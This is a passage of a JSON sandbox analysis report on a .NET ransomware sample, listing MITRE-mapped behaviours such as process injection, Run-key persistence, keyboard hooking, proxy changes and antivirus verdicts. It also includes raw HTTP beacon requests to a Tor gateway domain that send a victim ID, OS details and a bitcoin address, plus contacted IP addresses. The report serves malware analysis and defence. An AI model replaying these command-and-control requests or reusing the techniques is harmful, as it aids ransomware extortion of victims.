\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"my_password\" (Indicator: \"password\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found string \"passwordBytes\" (Indicator: \"password\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")\n Found string \"password\" (Indicator: \"password\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\Fondue.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00009440-00000BC0-1271107838\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-1271187874-1938232448-3812392235-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME3\\WINDOWS\\SYSTEM32\\FONDUE.EXE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"\\Device\\HarddiskVolume3\\Windows\\System32\\Fondue.exe\" (Indicator: \"fondue.exe\")\n \"%WINDIR%\\system32\\fondue.exe\" (Indicator: \"fondue.exe\")\n \"\"%WINDIR%\\system32\\fondue.exe\" /enable-feature:NetFx3 /caller-name:mscoreei.dll\" (Indicator: \"fondue.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Contains ability to decrypt/decode data","description":"Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; File: \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection","description":"System.Windows.Forms.Control::set_TabIndex(System.Int32) at d240132b0cb453d27af6fac59490af8a-6000029-Form1~InitializeComponent","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1571","relevance":5,"id":"stream-85","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"for decrypt your files\" (Source: 6000016-Form1~Form1_Load, Indicator: \"decrypt your files\")","origin":"File/Memory","mitre_attack_id":"T1491.001","relevance":5,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\Fondue.exe\" (Handle: 396)\n \"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\Fondue.exe\" (Handle: 396)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"24fkxhnr3cdtvwmy.onion.to\"\n \"aia.startssl.com\"\n \"www.google-analytics.com\"\n \"api.hostip.info\"\n \"bitcoin.org\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"208.64.123.130:443\"\n \"217.197.83.197:80\"\n \"217.197.83.197:443\"\n \"23.3.98.32:80\"\n \"216.58.218.142:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\Cab3639.tmp\"\n \"\" created file \"%TEMP%\\Tar3649.tmp\"\n \"\" created file \"%TEMP%\\Cab3698.tmp\"\n \"\" created file \"%TEMP%\\Tar3699.tmp\"\n \"\" created file \"%TEMP%\\Cab4B8A.tmp\"\n \"\" created file \"%TEMP%\\Tar4B8B.tmp\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /wrap1.php?btc=&wid=e47c61d2-1dae-480e-827a-ae8d797649df:null:TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFByZW1pdW0gU2VydmljZSBQYWNrIDE= HTTP/1.1\nHost: 24fkxhnr3cdtvwmy.onion.to\nConnection: Keep-Alive\"\n \"GET /certs/ca.crt HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: aia.startssl.com\"\n \"GET /wrap1.php?btc=18QYWTBsq6MBmQ1AFwj8e18J7LXB2KUZkr&wid=e47c61d2-1dae-480e-827a-ae8d797649df:null:TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFByZW1pdW0gU2VydmljZSBQYWNrIDE= HTTP/1.1\nHost: 24fkxhnr3cdtvwmy.onion.to\nConnection: Keep-Alive\"\n \"GET /wrap1.php?btc=18QYWTBsq6MBmQ1AFwj8e18J7LXB2KUZkr&wid=e47c61d2-1dae-480e-827a-ae8d797649df:null:TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFByZW1pdW0gU2VydmljZSBQYWNrIDE= HTTP/1.1\nHost: 24fkxhnr3cdtvwmy.onion.to\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll\" at 6A9D0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"RegCloseKey@ADVAPI32.dll\"\n \"RegOpenKeyEx@ADVAPI32.dll\"\n \"RegOpenKeyExW@ADVAPI32.dll\"\n \"RegQueryValueEx@ADVAPI32.dll\"\n \"RegQueryValueExW@ADVAPI32.dll\"\n \"LoadLibraryShim@MSCOREE.DLL\"\n \"LoadLibraryShim_RetAddr@mscoreei.dll\"\n \"LoadLibraryShim@mscoreei.dll\"\n \"GdiplusStartup@gdiplus.dll\"\n \"GdipCreateFontFamilyFromName@gdiplus.dll\"\n \"GdipCreateFont@gdiplus.dll\"\n \"GdipGetFontSize@gdiplus.dll\"\n \"GdipCreateFontFromLogfontW@gdiplus.dll\"\n \"ND_RI2@MSCOREE.DLL\"\n \"ND_RI2_RetAddr@mscoreei.dll\"\n \"ND_RI2@mscoreei.dll\"\n \"ND_RU1@MSCOREE.DLL\"\n \"ND_RU1_RetAddr@mscoreei.dll\"\n \"ND_RU1@mscoreei.dll\"\n \"GdipGetFontUnit@gdiplus.dll\"","origin":"API Call","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"LookupAccountNameLocalW@SECHOST.DLL at 00124593-00003916-779F228D-132275\n GetUserNameExW@SSPICLI.DLL at 00124593-00003916-779F228D-132989","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"C1F94CD5CA263ECFB1A4BAB1B832C909\" has type \"data\"\n \"Cab3639.tmp\" has type \"Microsoft Cabinet archive data, 50006 bytes, 1 file\"\n \"Tar3649.tmp\" has type \"data\"\n \"Cab3698.tmp\" has type \"Microsoft Cabinet archive data, 50006 bytes, 1 file\"\n \"Tar3699.tmp\" has type \"data\"\n \"94308059B57B3142E455B38A6EB92015\" has type \"data\"\n \"Cab4B8A.tmp\" has type \"Microsoft Cabinet archive data, 49695 bytes, 1 file\"\n \"Tar4B8B.tmp\" has type \"data\"\n \"getting-started[1].htm\" has type \"HTML document, UTF-8 Unicode text, with very long lines\"\n \"font-awesome.min[1].css\" has type \"ASCII text, with very long lines\"\n \"fontawesome-webfont[1].eot\" has type \"Embedded OpenType (EOT)\"\n \"carved_0.crt\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found a reference to a known community page","description":"\"-o:before,.fa-bar-chart:before{content:\"\\f080\"}.fa-twitter-square:before{content:\"\\f081\"}.fa-facebook-square:before{content:\"\\f082\"}.fa-camera-retro:before{content:\"\\f083\"}.fa-key:before{content:\"\\f084\"}.fa-gears:before,.fa-cogs:before{content:\"\\f085\"}.fa-comm\" (Indicator: \"twitter\")\n \"umeric-desc:before{content:\"\\f163\"}.fa-thumbs-up:before{content:\"\\f164\"}.fa-thumbs-down:before{content:\"\\f165\"}.fa-youtube-square:before{content:\"\\f166\"}.fa-youtube:before{content:\"\\f167\"}.fa-xing:before{content:\"\\f168\"}.fa-xing-square:before{content:\"\\f169\"}.\" (Indicator: \"youtube\")\n \"8\"}.fa-yelp:before{content:\"\\f1e9\"}.fa-newspaper-o:before{content:\"\\f1ea\"}.fa-wifi:before{content:\"\\f1eb\"}.fa-calculator:before{content:\"\\f1ec\"}.fa-paypal:before{content:\"\\f1ed\"}.fa-google-wallet:before{content:\"\\f1ee\"}.fa-cc-visa:before{content:\"\\f1f0\"}.fa-cc\" (Indicator: \"paypal\")","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service","description":"OpenServiceA@SECHOST.DLL at 00124593-00003916-779F228D-134241\n OpenServiceA@SECHOST.DLL at 00124593-00003916-779F228D-134242\n OpenServiceW@SECHOST.DLL at 00124593-00003916-779F228D-135152\n OpenServiceW@SECHOST.DLL at 00124593-00003916-779F228D-139377","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-14","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"\" at 00124593-00003916-779D61F8-132334","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"RasRpcGetVersion@RASMAN.DLL at 00124593-00003916-779F228D-134142","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\", Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates/touches files in windows directory","description":"\"\" created file \"C:\\WINDOWS\\FONTS\\MICROSS.TTF\"\n \"\" created file \"C:\\WINDOWS\\FONTS\\TAHOMA.TTF\"\n \"\" created file \"C:\\WINDOWS\\FONTS\\MSJH.TTF\"\n \"\" created file \"C:\\WINDOWS\\FONTS\\MSYH.TTF\"\n \"\" created file \"C:\\WINDOWS\\FONTS\\MALGUN.TTF\"\n \"\" created file \"C:\\WINDOWS\\FONTS\\SEGOEUI.TTF\"\n \"\" created file \"%WINDIR%\\Fonts\\staticcache.dat\"\n \"\" created file \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"\" (Access type: \"SETVAL\", Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\", Key: \"MICROSOFT\", Value: \"Z:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Installation/Persistance","name":"The input sample dropped/contains a certificate file","description":"File \"carved_0.crt\" is a certificate (Owner: CN=StartCom Certification Authority, OU=Secure Digital Certificate Signing, O=StartCom Ltd., C=IL, Issuer: CN=StartCom Certification Authority, OU=Secure Digital Certificate Signing, O=StartCom Ltd., C=IL, SerialNumber: 1, Valid From: 09/17/2006 14:46:36, Until: 09/17/2036 14:46:36, Fingerprints: MD5=22:4D:8F:8A:FC:F7:35:C2:BB:57:34:90:7B:8B:22:16; SHA1=3E:2B:F7:F2:03:1B:96:F3:8C:E6:C4:D8:A8:5D:3E:2D:58:47:6A:0F)","origin":"Binary File","relevance":10,"id":"binary-12","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to listen for incoming connections","description":"listen@WS2_32.DLL at 00124593-00003916-779F228D-133646\n RasPortListen@RASMAN.DLL at 00124593-00003916-779F228D-134028","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-33","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"{Wvni_eMicrosoft Windows 7 Home Premium Service Pack\"\n \"Y0l@{_\"\n \"{Wvni_eMicrosoft Windows 7 Home Premium Service Pack\"","origin":"Network Traffic","relevance":5,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Sets a system wide hook on keyboard events","description":"\"\" sets a system wide hook for \"Keyboard\" (Thread Id: 3920, Procedure: 0x6f0945d7)","origin":"API Call","relevance":10,"id":"api-13","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"Z:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" marked \"%APPDATA%\\57751b10029a4bce8f\" for deletion\n \"Z:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" marked \"Z:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Cab3639.tmp\" for deletion\n \"Z:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" marked \"Z:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Tar3649.tmp\" for deletion\n \"Z:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" marked \"Z:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Cab3698.tmp\" for deletion\n \"Z:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" marked \"Z:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Tar3699.tmp\" for deletion\n \"Z:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" marked \"Z:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Cab4B8A.tmp\" for deletion\n \"Z:\\d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de.exe\" marked \"Z:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Tar4B8B.tmp\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"\" opened \"%APPDATA%\\57751b10029a4bce8f\" with delete access\n \"\" opened \"C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Cab3639.tmp\" with delete access\n \"\" opened \"C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Tar3649.tmp\" with delete access\n \"\" opened \"C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Cab3698.tmp\" with delete access\n \"\" opened \"C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Tar3699.tmp\" with delete access\n \"\" opened \"C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Cab4B8A.tmp\" with delete access\n \"\" opened \"C:\\Users\\PSPUBWS\\AppData\\Local\\Temp\\Tar4B8B.tmp\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\", Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\", Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\", Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\", Key: \"PROXYBYPASS\")\n \"\" (Access type: \"SETVAL\", Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYENABLE\", Value: \"00000000\")\n \"\" (Access type: \"DELETEVAL\", Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYSERVER\")\n \"\" (Access type: \"DELETEVAL\", Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\", Key: \"PROXYOVERRIDE\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"\" wrote bytes \"5F4DE789\" to virtual address \"0x6B571FDC\" (part of module \"MSCORWKS.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\", Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\", Key: \"ENABLEFILETRACING\", Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\", Key: \"ENABLECONSOLETRACING\", Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\", Key: \"FILETRACINGMASK\", Value: \"0000FFFF\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\", Key: \"CONSOLETRACINGMASK\", Value: \"0000FFFF\")","origin":"Registry Access","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"29/55 Antivirus vendors marked sample as malicious (52% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"29/55 Antivirus vendors marked sample as malicious (52% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in foreign process","description":"\"\" allocated 00000088 bytes of memory in \"dw20.exe\" (Protection: \"read/write\")","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"Network Related","name":"Contacts a domain associated with Tor hidden services","description":"\"24fkxhnr3cdtvwmy.onion.to\"","origin":"Network Traffic","relevance":9,"id":"network-14","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$30","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"\" had access to \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\" (Type: \"FileHandle\", Context: \"NtSetInformationFile\")","origin":"Touched Handle","relevance":5,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"System Security","name":"Modifies System Certificates Settings","description":"$31","origin":"Registry Access","relevance":8,"id":"registry-38","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtSetSystemInformation@NTDLL.DLL at 00124593-00003916-779F228D-135474","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"67881653cf38068bc40da246"},{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains ability to listen for incoming connections"}],"sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Spyware/Leak","details_count":1,"details":[{"detail":"Sets a system wide hook on keyboard events"}],"sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 5 domains and 5 hosts"}],"sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":16,"imported_dlls_count":148,"dropped_files_count":0,"extracted_files_count":12,"files_written_count":73,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":1,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":7,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":5,"dns_resolutions_count":5,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["windows-server-utility"],"sample_flags":["Network Traffic","Extracted Files","Carved Files","Sample Crashed"],"sandbox_reports":[{"id":"67881653cf38068bc40da246","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de","analysis_start_time":"2025-01-15T20:11:00+00:00","indicators_count":{"informative":69,"suspicious":9,"malicious":2},"is_in_unified_schema":true},{"id":"56985fbf0e316d4128e3ab78","environment_id":1,"environment_description":"Windows 7 32 bit - Usermode Monitor","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Barys","contacted_countries":["DEU","USA"],"submit_name":"d7fea3a447e1a93dfa799b304737998b3b2b9db0dcbc9bf4b9de01b6803b19de","analysis_start_time":"2016-01-14T20:56:36+00:00","indicators_count":{"informative":13,"suspicious":26,"malicious":11},"tags":["Network Traffic","Extracted Files","Carved Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"208.64.123.130","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"address":"217.197.83.197","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"address":"217.197.83.197","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"address":"23.3.98.32","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"address":"216.58.218.142","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]}],"dns_resolutions":[{"domain":"www.google-analytics.com","address":"173.194.115.0","country":"United States","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"domain":"aia.startssl.com","address":"23.3.98.32","country":"United States","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"domain":"24fkxhnr3cdtvwmy.onion.to","address":"217.197.83.197","country":"Germany","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"domain":"api.hostip.info","country":"-","sources":[{"report_type":"sandbox","report_id":"56985fbf0e316d4128e3ab78"}]},{"domain":"bitcoin.org","address":"208.64.123.130","country":"United 